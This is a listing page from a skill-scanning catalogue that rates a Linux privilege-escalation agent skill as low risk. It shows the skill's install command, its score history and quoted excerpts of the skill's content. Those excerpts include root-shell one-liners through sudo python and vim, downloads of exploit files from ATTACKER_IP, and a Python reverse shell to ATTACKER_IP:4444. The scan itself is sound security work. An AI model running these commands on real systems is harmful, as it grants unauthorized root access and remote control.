linux-privilege-escalation

90 / 100 · Low risk

Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.

By boisenoise/skills-collections (GitHub) · security · 12 stars · scanned at commit 419c39f

Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

The author does not mention this. Expected for a security skill.

Found in 7 places.

skills/antigravity-linux-privilege-escalation/SKILL.md, line 59$ sudo -l
skills/antigravity-linux-privilege-escalation/SKILL.md, line 73$ find / -perm -u=s -type f 2>/dev/null | grep base64
skills/antigravity-linux-privilege-escalation/SKILL.md, line 88$ cat /etc/crontab

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skills/antigravity-linux-privilege-escalation/references/detailed-guide.md, line 230sudo python -c 'import os; os.system("/bin/bash")'
skills/antigravity-linux-privilege-escalation/references/detailed-guide.md, line 321/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
skills/antigravity-linux-privilege-escalation/references/detailed-guide.md, line 324./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
skills/antigravity-linux-privilege-escalation/references/detailed-guide.md, line 413python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subpr

Sends data to these websites: github.com, attacker_ip

The author does not mention this. Expected for a security skill.

Found in 3 places.

skills/antigravity-linux-privilege-escalation/references/detailed-guide.md, line 141curl -L -o linpeas.sh https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
skills/antigravity-linux-privilege-escalation/references/detailed-guide.md, line 163wget http://ATTACKER_IP:8000/linpeas.sh
skills/antigravity-linux-privilege-escalation/references/detailed-guide.md, line 199wget http://ATTACKER_IP/exploit.c

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'linux-privilege-escalation' ] || [ -L ~/.agents/skills/'linux-privilege-escalation' ]; then echo 'A skill folder named linux-privilege-escalation already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/boisenoise/skills-collections' "$d" && git -C "$d" checkout --quiet '419c39fde874b8baecbb36a397b967e0190a2ece' -- 'skills/antigravity-linux-privilege-escalation' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/antigravity-linux-privilege-escalation' ~/.agents/skills/'linux-privilege-escalation' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'linux-privilege-escalation' ~/.claude/skills/'linux-privilege-escalation' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

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Score history

Date	Version	Score
2026-11-12	`419c39f`	90
2026-11-08	`5fe45e5`	90
2026-11-06	`b89b2f5`	90